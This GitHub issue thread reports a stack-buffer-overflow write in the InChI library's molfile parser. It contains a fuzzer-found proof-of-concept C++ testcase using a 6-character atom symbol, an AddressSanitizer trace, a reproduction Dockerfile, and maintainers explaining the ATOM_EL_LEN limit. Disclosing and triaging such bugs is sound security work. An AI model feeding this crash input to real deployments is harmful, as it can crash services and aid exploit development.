stack-overflow write in `MakeINCHIFromMolfileText`

[hgarrereyn]

Hi, there is a potential bug in MakeINCHIFromMolfileText reachable by providing crafted molfile data.

This bug was reproduced on 861b57d.

Description

Providing a mostly valid molfile with a 6-character symbol leads to a stack-overflow (write) in MakeINCHIFromMolfileText during parsing.

It looks like there is an off-by-one somewhere in the computation here. Changing to e.g. a 5-character symbol does not reproduce the crash. But I wasn't able to exactly pinpoint what the issue is.

This may be related to #183 which seems to be an issue in the same area, although triggered differently.

POC

The following testcase demonstrates the bug:

testcase.cpp

#include <cstdio>
#include <cstdlib>
#include <cstring>
extern "C" {
#include "/fuzz/install/include/inchi_api.h"
}
int main(){
    // Minimal V3000 molfile that triggers the crash: 6-character atom symbol
    const char *mol =
        "GraphFuzz Minimal V3000\n"
        "InChI V3000 test\n\n"
        "  0  0  0  0  0  0            999 V3000\n"
        "M  V30 BEGIN CTAB\n"
        "M  V30 COUNTS 1 0 0 0 0\n"
        "M  V30 BEGIN ATOM\n"
        "M  V30 1 CCCCCC 0.0 0.0 0.0 0\n"  // 6-character symbol
        "M  V30 END ATOM\n"
        "M  V30 END CTAB\n"
        "M  END\n"
        "$$$$\n";
    const char *opts = "";
    inchi_Output *out = new inchi_Output{};
    int rc = MakeINCHIFromMolfileText(mol, (char*)opts, out);
    (void)rc;
    FreeINCHI(out);
    return 0;
}

stdout

stderr

=================================================================
==1==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7f645ad0b716 at pc 0x562c101099a0 bp 0x7ffe23bf29c0 sp 0x7ffe23bf2190
WRITE of size 1 at 0x7f645ad0b716 thread T0
    #0 0x562c1010999f in __asan_memset (/fuzz/test+0xc699f) (BuildId: c2d551878133ed8ec00ace388b6c1ca6135bf613)
    #1 0x7f645ca0e226 in mystrncpy /fuzz/src/INCHI-1-SRC/INCHI_BASE/src/util.c:1756:5
    #2 0x7f645c99c100 in MolfileV3000ReadField /fuzz/src/INCHI-1-SRC/INCHI_BASE/src/mol_fmt3.c:278:13
    #3 0x7f645c99c100 in MolfileV3000ReadAtomsBlock /fuzz/src/INCHI-1-SRC/INCHI_BASE/src/mol_fmt3.c:964:26
    #4 0x7f645c9908a3 in MolfileReadDataLines /fuzz/src/INCHI-1-SRC/INCHI_BASE/src/mol_fmt1.c:351:19
    #5 0x7f645c9908a3 in ReadMolfile /fuzz/src/INCHI-1-SRC/INCHI_BASE/src/mol_fmt1.c:187:14
    #6 0x7f645c9a9421 in ReadMolfileToInpAtoms /fuzz/src/INCHI-1-SRC/INCHI_BASE/src/mol2atom.c:364:14
    #7 0x7f645c9a81bd in CreateOrigInpDataFromMolfile /fuzz/src/INCHI-1-SRC/INCHI_BASE/src/mol2atom.c:156:29
    #8 0x7f645c9c4413 in ReadTheStructure /fuzz/src/INCHI-1-SRC/INCHI_BASE/src/runichi2.c:470:25
    #9 0x7f645c9c33f0 in GetOneStructure /fuzz/src/INCHI-1-SRC/INCHI_BASE/src/runichi2.c:229:12
    #10 0x7f645c72a3b2 in MakeINCHIFromMolfileText /fuzz/src/INCHI-1-SRC/INCHI_API/libinchi/src/inchi_dll_b.c:179:15
    #11 0x562c1014a45a in main /fuzz/testcase.cpp:23:14
    #12 0x7f645c18cd8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #13 0x7f645c18ce3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #14 0x562c1006f304 in _start (/fuzz/test+0x2c304) (BuildId: c2d551878133ed8ec00ace388b6c1ca6135bf613)

Address 0x7f645ad0b716 is located in stack of thread T0 at offset 46870 in frame
    #0 0x7f645c99b80f in MolfileV3000ReadAtomsBlock /fuzz/src/INCHI-1-SRC/INCHI_BASE/src/mol_fmt3.c:867

  This frame has 26 object(s):
    [32, 4128) 'field.i688' (line 262)
    [4256, 4264) 'p_end.i689' (line 266)
    [4288, 8384) 'field.i676' (line 262)
    [8512, 8520) 'p_end.i677' (line 266)
    [8544, 12640) 'field.i668' (line 262)
    [12768, 12776) 'p_end.i669' (line 266)
    [12800, 16896) 'field.i660' (line 414)
    [17024, 21120) 'field.i646' (line 262)
    [21248, 21256) 'p_end.i647' (line 266)
    [21280, 25376) 'field.i635' (line 262)
    [25504, 25512) 'p_end.i636' (line 266)
    [25536, 29632) 'field.i624' (line 262)
    [29760, 29768) 'p_end.i625' (line 266)
    [29792, 33888) 'field.i619' (line 262)
    [34016, 34024) 'p_end.i620' (line 266)
    [34048, 38144) 'field.i614' (line 262)
    [38272, 42368) 'field.i' (line 262)
    [42496, 42504) 'p_end.i' (line 266)
    [42528, 46624) 'field' (line 870)
    [46752, 46760) 'p' (line 872)
    [46784, 46824) 'tmpin' (line 873)
    [46864, 46870) 'symbol' (line 938) <== Memory access at offset 46870 overflows this variable
    [46896, 46936) 'szcoords' (line 1004)
    [46976, 46980) 'itmp' (line 1067)
    [46992, 51088) 'stmp' (line 1069)
    [51216, 51218) 'iso_mass' (line 1101)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/fuzz/test+0xc699f) (BuildId: c2d551878133ed8ec00ace388b6c1ca6135bf613) in __asan_memset
Shadow bytes around the buggy address:
  0x7f645ad0b480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f645ad0b500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f645ad0b580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f645ad0b600: 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x7f645ad0b680: f2 f2 f2 f2 00 f2 f2 f2 00 00 00 00 00 f2 f2 f2
=>0x7f645ad0b700: f2 f2[06]f2 f2 f2 f8 f8 f8 f8 f8 f2 f2 f2 f2 f2
  0x7f645ad0b780: f8 f2 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
  0x7f645ad0b800: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
  0x7f645ad0b880: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
  0x7f645ad0b900: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
  0x7f645ad0b980: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1==ABORTING

Steps to Reproduce

The crash was triaged with the following Dockerfile:

Dockerfile

# Ubuntu 22.04 with some packages pre-installed
FROM hgarrereyn/stitch_repro_base@sha256:3ae94cdb7bf2660f4941dc523fe48cd2555049f6fb7d17577f5efd32a40fdd2c

RUN git clone https://github.com/IUPAC-InChI/InChI /fuzz/src && \
    cd /fuzz/src && \
    git checkout 861b57deb4dc7fc7ab00041a26fbd908b9ffaf5a && \
    git submodule update --init --remote --recursive

ENV LD_LIBRARY_PATH=/fuzz/install/lib
ENV ASAN_OPTIONS=hard_rss_limit_mb=1024:detect_leaks=0

RUN echo '#!/bin/bash\nexec clang-17 -fsanitize=address -O0 "$@"' > /usr/local/bin/clang_wrapper && \
    chmod +x /usr/local/bin/clang_wrapper && \
    echo '#!/bin/bash\nexec clang++-17 -fsanitize=address -O0 "$@"' > /usr/local/bin/clang_wrapper++ && \
    chmod +x /usr/local/bin/clang_wrapper++

# Install build tools (cmake may not be present in the base image used for testing)
RUN apt-get update && apt-get install -y --no-install-recommends cmake ninja-build make && rm -rf /var/lib/apt/lists/*

# Build libinchi with CMake (shared library produced by upstream)
RUN cmake -G Ninja \
    -S /fuzz/src/INCHI-1-SRC/INCHI_API/libinchi/src \
    -B /fuzz/build \
    -DCMAKE_C_COMPILER=clang_wrapper \
    -DCMAKE_CXX_COMPILER=clang_wrapper++ \
    -DCMAKE_BUILD_TYPE=Release \
    -DCMAKE_INSTALL_PREFIX=/fuzz/install && \
    cmake --build /fuzz/build -j$(nproc) && \
    mkdir -p /fuzz/install/lib /fuzz/install/include && \
    # Copy the produced shared library
    cp -a /fuzz/build/lib/*.so /fuzz/install/lib/ && \
    # Ensure both names exist for linking convenience
    bash -lc 'cd /fuzz/install/lib && if [ -f inchi.so ] && [ ! -f libinchi.so ]; then ln -s inchi.so libinchi.so; fi && if [ -f libinchi.so ] && [ ! -f inchi.so ]; then ln -s libinchi.so inchi.so; fi' && \
    # Install public headers used by consumers
    cp /fuzz/src/INCHI-1-SRC/INCHI_BASE/src/inchi_api.h /fuzz/install/include/ && \
    cp /fuzz/src/INCHI-1-SRC/INCHI_BASE/src/ixa.h /fuzz/install/include/

Build Command

clang++-17 -fsanitize=address -g -O0 -o /fuzz/test /fuzz/testcase.cpp -I/fuzz/install/include -L/fuzz/install/lib -Wl,-rpath,/fuzz/install/lib -l:libinchi.so -lm && /fuzz/test

Reproduce

1. Copy Dockerfile and testcase.cpp into a local folder.
2. Build the repro image:

docker build . -t repro --platform=linux/amd64

3. Compile and run the testcase in the image:

docker run \
    -it --rm \
    --platform linux/amd64 \
    --mount type=bind,source="$(pwd)/testcase.cpp",target=/fuzz/testcase.cpp \
    repro \
    bash -c "clang++-17 -fsanitize=address -g -O0 -o /fuzz/test /fuzz/testcase.cpp -I/fuzz/install/include -L/fuzz/install/lib -Wl,-rpath,/fuzz/install/lib -l:libinchi.so -lm && /fuzz/test"

---

Additional Info

This testcase was discovered by STITCH, an autonomous fuzzing system. All reports are reviewed manually (by a human) before submission.

[djb-rwth]

Hi @hgarrereyn,
Thanks for creating the issue.
Although the issue starts with the same function MakeINCHIFromMolfileText as in GHI #183, it is actually quite different as evidenced in the STITCH sanitiser report.

Function MolfileV3000ReadField calls mystrncpy which runs into a problem with any atom name whose length exceeds 6 characters incl. the zero termination symbol; in other words, an atom name can have maximal length of 5 "visible" characters as defined in incomdef.h file:

InChI/INCHI-1-SRC/INCHI_BASE/src/incomdef.h

Line 56 in 8feee9e

#define ATOM_EL_LEN 6 /* length of atom name string including zero termination */

Apparently, this is the reason why the potential bug that STITCH reported has appeared.

For your reference, you can have a look at the similar (now closed) issue #133.

[fbaensch-beilstein]

To add my two cents here, the used mol file is more or less incorrect (I know it's "fuzzed"). The type field is reserved for an atom string like 'C' or 'Cl' or an atom list which must be enclosed in square brackets, or any of the following special cases:
R# = Rgroup
A = “any” atom
Q = any atom but C or H
* = “star” atom

None of theses, expect the list, has 6 characters.